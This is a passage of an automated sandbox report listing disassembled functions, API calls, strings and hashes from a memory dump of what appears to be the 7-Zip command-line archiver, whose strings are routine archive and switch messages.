                                                                                                                                                                                                                                                                    • Instruction ID: 50d42b0fbc01ed5215692972f3552513dde7715ba2686c597bd5e7981ebb7bf5
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4aee489c18f2dd86cc73dd2943d18b01719e6265213ff0bf541a51705635381a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7DB18B74600701CFEB25EF64C899BAEB7A1BF44305F18852DE86E47291CB71BD88DB19
                                                                                                                                                                                                                                                                    Function 00C7B248 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 135COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C7B24D
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(00C946E0), ref: 00C7B263
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7B2ED
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(00C946E0), ref: 00C7B423
                                                                                                                                                                                                                                                                      • Part of subcall function 00C81554: fputs.MSVCRT ref: 00C815BD
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7B333
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51F03: fputs.MSVCRT ref: 00C51F20
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7B3B8
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C7B3D5
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C6A: fputc.MSVCRT ref: 00C51C71
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$CriticalSection$EnterH_prologLeavefputc
                                                                                                                                                                                                                                                                    • String ID: Sub items Errors:
                                                                                                                                                                                                                                                                    • API String ID: 2670240366-2637271492
                                                                                                                                                                                                                                                                    • Opcode ID: 36c7e99a5a5b8b6a02d305c01663c65966f8629dfa28f27dea4c9e560b18c3aa
                                                                                                                                                                                                                                                                    • Instruction ID: 8a3a10c26e4c1855e2ad0a76e3c77a00e17869a9ff0198b098c2aebb9506502e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 36c7e99a5a5b8b6a02d305c01663c65966f8629dfa28f27dea4c9e560b18c3aa
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 04519B31501600DFDB25AF64D894BAEB7E1FF44314F29842EE86E47262DB31BD88EB14
                                                                                                                                                                                                                                                                    Function 00C55650 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98threadCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 00C5565E
                                                                                                                                                                                                                                                                    • GetTickCount.KERNEL32 ref: 00C55669
                                                                                                                                                                                                                                                                    • GetCurrentProcessId.KERNEL32 ref: 00C55674
                                                                                                                                                                                                                                                                    • GetTickCount.KERNEL32 ref: 00C556D3
                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32(000000B7,?), ref: 00C55706
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?), ref: 00C5572C
                                                                                                                                                                                                                                                                      • Part of subcall function 00C54F8F: __EH_prolog.LIBCMT ref: 00C54F94
                                                                                                                                                                                                                                                                      • Part of subcall function 00C54F8F: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000001), ref: 00C54FB6
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CountCurrentErrorLastTick$CreateDirectoryH_prologProcessThread
                                                                                                                                                                                                                                                                    • String ID: .tmp$d
                                                                                                                                                                                                                                                                    • API String ID: 43677640-2797371523
                                                                                                                                                                                                                                                                    • Opcode ID: 69e308630371c5cf51598d8a6e06149c52babf7760bbb8c6e6f8f3dcd293cfec
                                                                                                                                                                                                                                                                    • Instruction ID: b48dccd9e98685b1f21f844ed2a93a0bc8a2249dad9d68b116f6459e8086f9d2
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 69e308630371c5cf51598d8a6e06149c52babf7760bbb8c6e6f8f3dcd293cfec
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E931243DA40600DBDB249BA0C8A97AD37A2AF55393F540029FC029B281CF758DCDDB59
                                                                                                                                                                                                                                                                    Function 00C7A3C0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 88COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • with the file from archive:, xrefs: 00C7A439
                                                                                                                                                                                                                                                                    • Would you like to replace the existing file:, xrefs: 00C7A414
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSectionfputs$EnterH_prologLeave
                                                                                                                                                                                                                                                                    • String ID: Would you like to replace the existing file:$with the file from archive:
                                                                                                                                                                                                                                                                    • API String ID: 3914623533-686978020
                                                                                                                                                                                                                                                                    • Opcode ID: 0a68fd7744efeda15c5a0ac747f86652b63361b52fdb63aa5fe380691ab84e07
                                                                                                                                                                                                                                                                    • Instruction ID: fd3973f85a1ded53de61f9624a5d0c299ce088db19aa718bf9e7fca81a106d39
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0a68fd7744efeda15c5a0ac747f86652b63361b52fdb63aa5fe380691ab84e07
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F031ED76200204DBDB11AF54DC49BAE77A1FF88315F15801AF91EA7290CB71AC44EF2A
                                                                                                                                                                                                                                                                    Function 00C585D0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 47libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(kernel32.dll,GlobalMemoryStatusEx), ref: 00C585F4
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00C585FB
                                                                                                                                                                                                                                                                    • GlobalMemoryStatus.KERNEL32(?), ref: 00C5863B
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressGlobalHandleMemoryModuleProcStatus
                                                                                                                                                                                                                                                                    • String ID: $@$GlobalMemoryStatusEx$kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 2450578220-802862622
                                                                                                                                                                                                                                                                    • Opcode ID: ec6e5e41d81957dc5a22ae7665b46187f612f301125f28743ab2170787cbc4b7
                                                                                                                                                                                                                                                                    • Instruction ID: b45c0d61002560fb1ff1cb50fa9ee64ae3712ad3edd290953686e561abce26d7
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ec6e5e41d81957dc5a22ae7665b46187f612f301125f28743ab2170787cbc4b7
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 461157789002099BCF20DFD0D889BAEBBF9AB04306F500418E842B7680DF74A98CCB58
                                                                                                                                                                                                                                                                    Function 00C559B0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 29libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,FindFirstStreamW), ref: 00C559D6
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00C559DF
                                                                                                                                                                                                                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,FindNextStreamW), ref: 00C559EC
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00C559EF
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                                                    • String ID: FindFirstStreamW$FindNextStreamW$kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 1646373207-4044117955
                                                                                                                                                                                                                                                                    • Opcode ID: 0267665d8bb5c216d5c7623e433ba849cebe49842ac1b346e696c14e8dcb1f7e
                                                                                                                                                                                                                                                                    • Instruction ID: a58d4cc7214b8a683e8ea7b005031988cd62a32147e2c228231fe0227051cd5d
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0267665d8bb5c216d5c7623e433ba849cebe49842ac1b346e696c14e8dcb1f7e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 21E020F1A45308678A103BAA6C4CF1FFB8CD7567353410037F500D3621CDB4580A4B98
                                                                                                                                                                                                                                                                    Function 00C77EA3 Relevance: 11.4, APIs: 9, Instructions: 116COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8CD78,00000010), ref: 00C77EBC
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C3D8,00000010), ref: 00C77ED9
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,00C8C3C8,00000010), ref: 00C77EEC
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: 686e0940f9a3fd9c121c61d35040c6fe063d4781c5d311b568a420bb6cc02b68
                                                                                                                                                                                                                                                                    • Instruction ID: 7597de20dd6dcd37e951feecfbb181b9fa33a1c3fb684b80f94e8d7662b24cf7
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 686e0940f9a3fd9c121c61d35040c6fe063d4781c5d311b568a420bb6cc02b68
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: ED31A57178830D6BD704AE61CE81EBA73EC9B60798B00C264FC599B251F674EE00A7A5
                                                                                                                                                                                                                                                                    Function 00C5125E Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 134COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID: Incorrect switch postfix:$Multiple instances for switch:$Too long switch:$Too short switch:$Unknown switch:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-2104980125
                                                                                                                                                                                                                                                                    • Opcode ID: 719b5b035b0087481432e5e2880882594c18be2eb79811d9aa5fd66d65521b03
                                                                                                                                                                                                                                                                    • Instruction ID: f66760a447399cb8ce0c1f61555440ab391645c61af952ab10059451001f8c12
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 719b5b035b0087481432e5e2880882594c18be2eb79811d9aa5fd66d65521b03
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2551BE38900246DFCF14DF58C498BAEBBF1FF11306F188159DC659B962D770AA89CB98
                                                                                                                                                                                                                                                                    Function 00C7A98C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 84COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalSectionfputs$EnterH_prologLeave
                                                                                                                                                                                                                                                                    • String ID: :
                                                                                                                                                                                                                                                                    • API String ID: 3914623533-3653984579
                                                                                                                                                                                                                                                                    • Opcode ID: 840b961f8f47843190ff039871dde069a2f8661e32c4adfc87c733d74c711774
                                                                                                                                                                                                                                                                    • Instruction ID: 16ad4a496a798ea65ad6670d70dc3d432948d8197fb67566a2d08b591517f4a1
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 840b961f8f47843190ff039871dde069a2f8661e32c4adfc87c733d74c711774
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A831DE75900204CFCB11EF64C884E9EB7F4FF84324F14846EE82A9B262CB30A909DF24
                                                                                                                                                                                                                                                                    Function 00C7AD62 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 71COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prologfputs
                                                                                                                                                                                                                                                                    • String ID: Can not open the file$The archive is open with offset$The file is open$WARNING:
                                                                                                                                                                                                                                                                    • API String ID: 1798449854-3393983761
                                                                                                                                                                                                                                                                    • Opcode ID: 36af55478cd83e6161271d00995380413e90661f8d77415f5012b6abd5a53f81
                                                                                                                                                                                                                                                                    • Instruction ID: ce0954c0fe42db0307d7b5a304daaaa6a41883fbd8a993e6da188883e6b57f36
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 36af55478cd83e6161271d00995380413e90661f8d77415f5012b6abd5a53f81
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5E21DA756005009FDB14EF58C446AADB3F4FF54315F04402AF90697A51CB30AD56DB85
                                                                                                                                                                                                                                                                    Function 00C82B81 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C82B9C
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C5B: fflush.MSVCRT ref: 00C51C5D
                                                                                                                                                                                                                                                                    • GetStdHandle.KERNEL32(000000F6), ref: 00C82BAE
                                                                                                                                                                                                                                                                    • GetConsoleMode.KERNEL32(00000000,00000000), ref: 00C82BD0
                                                                                                                                                                                                                                                                    • SetConsoleMode.KERNEL32(00000000,00000000), ref: 00C82BE1
                                                                                                                                                                                                                                                                    • SetConsoleMode.KERNEL32(00000000,00000000), ref: 00C82C01
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • Enter password (will not be echoed):, xrefs: 00C82B97
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ConsoleMode$Handlefflushfputs
                                                                                                                                                                                                                                                                    • String ID: Enter password (will not be echoed):
                                                                                                                                                                                                                                                                    • API String ID: 108775803-3720017889
                                                                                                                                                                                                                                                                    • Opcode ID: 2ee2038653e0469d4aedcb6b11bf96875951d9b0f595100cc82fc1088c996bbf
                                                                                                                                                                                                                                                                    • Instruction ID: 075d41d1806fd4e4e0211d6fb266fd8506ce7443302bbbaff283801b1a43b253
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2ee2038653e0469d4aedcb6b11bf96875951d9b0f595100cc82fc1088c996bbf
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B8112935901514ABCB01BFA4DC89BBEBFB99F41724F584159EC21731A0CF314A4ADB6C
                                                                                                                                                                                                                                                                    Function 00C7A61A Relevance: 9.1, APIs: 6, Instructions: 140COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$CriticalSection$EnterH_prologLeave
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1850570545-0
                                                                                                                                                                                                                                                                    • Opcode ID: 5ef2a46964e4c0a402a41be8b91cd527fccc84e90bddc92b6e44cc75ff1a53fa
                                                                                                                                                                                                                                                                    • Instruction ID: cf95bb37ee372c9616c17a96897ebab711cceb0c5fd4f60aa352fe1ec39af525
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5ef2a46964e4c0a402a41be8b91cd527fccc84e90bddc92b6e44cc75ff1a53fa
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8151B175100201EFDB19DF64D885BAEB7F1FF84315F04842EF85A97260CB70A989DB5A
                                                                                                                                                                                                                                                                    Function 00C55166 Relevance: 9.1, APIs: 6, Instructions: 102COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5516B
                                                                                                                                                                                                                                                                    • CreateDirectoryW.KERNEL32(?,00000000,00000000,?,00000000), ref: 00C5518D
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00000000,00000000,?,00000000), ref: 00C5519E
                                                                                                                                                                                                                                                                    • CreateDirectoryW.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00C551D9
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 00C551E7
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(00000000,?,00000000), ref: 00C5523F
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorLast$CreateDirectory$H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 798237638-0
                                                                                                                                                                                                                                                                    • Opcode ID: 8e017da49ca9962507593c82db181f889bead2702a27a46f9a337912970484f1
                                                                                                                                                                                                                                                                    • Instruction ID: f0b11580f3840d3d7d968a5d288e02670e495af40ee942c3e2cac63ee984aa42
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8e017da49ca9962507593c82db181f889bead2702a27a46f9a337912970484f1
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8931DF3D904A14DEDF14ABA4ECAA7EDBB71AF25312F140018EC0263192DF355ACDEB58
                                                                                                                                                                                                                                                                    Function 00C55A7F Relevance: 9.1, APIs: 6, Instructions: 74COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C55A84
                                                                                                                                                                                                                                                                      • Part of subcall function 00C55849: FindClose.KERNELBASE(00000000,?,00C55881), ref: 00C55854
                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32(00000078,00000000,?,?), ref: 00C55AAD
                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32(00000000,00000000,?,?), ref: 00C55AB9
                                                                                                                                                                                                                                                                    • FindFirstStreamW.KERNELBASE(?,00000000,?,00000000), ref: 00C55ADA
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,?), ref: 00C55AE7
